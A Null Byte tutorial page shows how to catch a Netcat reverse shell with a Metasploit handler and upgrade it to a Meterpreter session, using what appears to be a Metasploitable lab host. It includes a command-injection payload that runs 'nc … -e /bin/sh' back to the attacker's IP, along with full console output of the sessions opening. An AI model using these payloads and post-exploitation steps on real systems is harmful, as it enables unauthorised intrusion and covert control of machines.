How to Elevate a Netcat Shell to a Meterpreter Session for More Power & Control « Null Byte :: WonderHowTo

Popping a shell is often the main goal of a hacker, and it can be exciting when executed properly, but sometimes they do have their limitations. Metasploit's Meterpreter probably needs no introduction, but this powerful, dynamic payload can offer a leg up over normal shells. To prove it, we'll show how to take a normal command shell and elevate it to a Meterpreter session.Shell vs. MeterpreterA shellis basically an interface that acts as a shortcut to the commands of anoperating system. When it comes to hacking, there are two types of shells that are mainly talked about: bind shells and reverse shells.A bind shell effectively binds itself to a certain port on the target, and the attacking system connects to that listening port and a session is created. A reverse shell, on the other hand, actively connects from the target machine to the attacking machine, where a listener is waiting for incoming connections.Command shells provide a great way to really dig into the target, but they are not always the best option. Usually, they are constrained to the privileges of the user who initiated the shell, so the power that comes withroot-level accessisn't always available.Recommended on Amazon:Metasploit: The Penetration Tester's GuideMeterpreterallows us to run post-exploitation modules andprivilege escalationexploits locally on the target. It utilizes encrypted communication methods and nothing is written to disk during operation, making it a suitable weapon that leaves little to no evidence behind. Meterpreter offers aton of other featuresand is highly extensible, which makes it an excellent addition to any hacker's arsenal.Step 1: Start a ListenerTo get started, fire upMetasploit. Typemsfconsolein theterminaland we'll be greeted by a nice little welcome banner after it loads. We'll be using a great feature of Metasploit, which is the ability to set up a universal listener that can handle a wide range of different types of shells. Enter the following to load the module:use exploit/multi/handlerNext, we need to specify the listening host and port, using the IP address of our local machine and an arbitrary port number. We also need to set the payload — the versatile reverse TCP shell is an excellent choice here.msf5 exploit(multi/handler) > set lhost 172.16.1.100
lhost => 172.16.1.100
msf5 exploit(multi/handler) > set lport 1234
lport => 1234
msf5 exploit(multi/handler) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcpTypeoptionsat the prompt to verify that our settings are correct.msf5 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (linux/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.16.1.100     yes       The listen address (an interface may be specified)
   LPORT  1234             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard TargetIt looks like we're good to go. Typerunto launch the handler, and it's now ready and waiting for an incoming connection.msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.1.100:1234Step 2: Get Shell with NetcatNetcatis a powerful networking utility commonly used to troubleshoot connectivity issues, but it can also be utilized as abackdoorvia command shells. We can use this tool,coupled with a command injection vulnerability, to spawn a shell and connect back to our local machine. If all goes well, the handler that we set up earlier will catch the shell and we'll be able to issue commands.This vulnerability lets us append system commands to the input for the ping utility.127.0.0.1 && nc 172.16.1.100 1234 -e /bin/shHere, we've tacked on the Netcat command to spawn a shell and connect to our local machine on port 1234:After a moment, back in the terminal with our handler, we see that a session is opened up. We can now issue commands likeidanduname -ato verify this.[*] Sending stage (36 bytes) to 172.16.1.102
[*] Command shell session 1 opened (172.16.1.100:1234 -> 172.16.1.102:53462) at 2019-01-29 15:28:28 -0600

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/LinuxFinally, we need to background this session by pressingCtrl-Z, followed byYto confirm.^Z
Background session 1? [y/N]  y
msf5 exploit(multi/handler) >Recommended on Amazon:Instant Netcat StarterStep 3: Elevate Shell to Meterpreter SessionNow that we have attained a session on the target, we can upgrade that humble shell to a full-fledged Meterpreter session. This will allow for greater flexibility when it comes to interacting with the target.In order to view any sessions that are currently open, typesessionsat the prompt. Below, we can see the session we opened earlier, along with its ID, shell type, and connection information.msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type             Information  Connection
  --  ----  ----             -----------  ----------
  1         shell x86/linux               172.16.1.100:1234 -> 172.16.1.102:53462 (172.16.1.102)The easiest way to transform a regular session into a Meterpreter session is to use the-uflag. Issue the sessions command with the appropriate ID and watch the magic happen.msf5 exploit(multi/handler) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 172.16.1.100:4433
[*] Sending stage (914728 bytes) to 172.16.1.102
[*] Meterpreter session 2 opened (172.16.1.100:4433 -> 172.16.1.102:42790) at 2019-01-29 15:30:28 -0600
[*] Command stager progress: 100.00% (773/773 bytes)Now it seems like nothing really happened, but in fact, we've opened a Meterpreter session in the background — it doesn't automatically drop us into it. If we issue thesessionscommand again, it will list our new Meterpreter session with an ID of 2. We can then use the-iflag to interact with it.msf5 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter >And now we have a Meterpreter shell. However, there is one other way to elevate a normal shell to a Meterpreter session that is similar to the method outlined above, and that is to manually use theshell_to_meterpreterpost-exploitation module.Alternative Way to Elevate Shell to Meterpreter SessionTo load it, type the following.use post/multi/manage/shell_to_meterpreterAll we have to do is specify the existing session we want to upgrade. After that, just to be sure, we can view the current settings with theoptionscommand.msf5 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf5 post(multi/manage/shell_to_meterpreter) > options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION  1                yes       The session to run this module on.Typerunto kick it off.msf5 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 172.16.1.100:4433
[*] Sending stage (914728 bytes) to 172.16.1.102
[*] Meterpreter session 3 opened (172.16.1.100:4433 -> 172.16.1.102:59832) at 2019-01-29 15:34:16 -0600
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completedAgain, this opens up the new session in the background, so we have to issue thesessionscommand to determine the correct ID.msf5 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions
===============

  Id  Name  Type                   Information  Connection
  --  ----  ----                   -----------  ----------
  1         shell x86/linux                     172.16.1.100:1234 -> 172.16.1.102:53462 (172.16.1.102)
  3         meterpreter x86/linux               172.16.1.100:4433 -> 172.16.1.102:59832 (172.16.1.102)We can see that this new Meterpreter session has an ID of 3. Now we are ready to interact with it.msf5 post(multi/manage/shell_to_meterpreter) > sessions -i 3
[*] Starting interaction with 3...

meterpreter >We now have a Meterpreter shell, and from here,the sky is the limit.Wrapping Thing's UpIn this tutorial, we learned how to take a regular old command shell and elevate it to Meterpreter status. We used a Netcat shell here, but any other type of shell should work with this method. Meterpreter offers a great deal of power and control over any target, so get out there and keep hacking away.Don't Miss:Null Byte's Guides on MetasploitFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byStockSnap/Pixabay; Screenshots by drd_/Null ByteRelatedHow To:Install a Persistant Backdoor in Windows Using NetcatHow To:Upgrade a Normal Command Shell to a Metasploit MeterpreterHow To:Get Root with Metasploit's Local Exploit SuggesterHow To:Use Meterpeter on OS XHow To:Get Root Access on OS X Mavericks and YosemiteHow to Meterpreter:Interactive Ruby Shell (A Quick Introduction)How To:Upload a Shell to a Web Server and Get Root (RFI): Part 2Hack Like a Pro:How to Use PowerSploit, Part 1 (Evading Antivirus Software)How to Meterpreter:Obtaining User Credentials with PowerShellHow To:Identify Missing Windows Patches for Easier ExploitationHow To:Attack a Vulnerable Practice Computer: A Guide from Scan to ShellSPLOIT:Forensics with Metasploit ~ ( Recovering Deleted Files )Hack Like a Pro:How to Remotely Install an Auto-Reconnecting Persistent Back Door on Someone's PCHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:Reconnect to Victim's System Success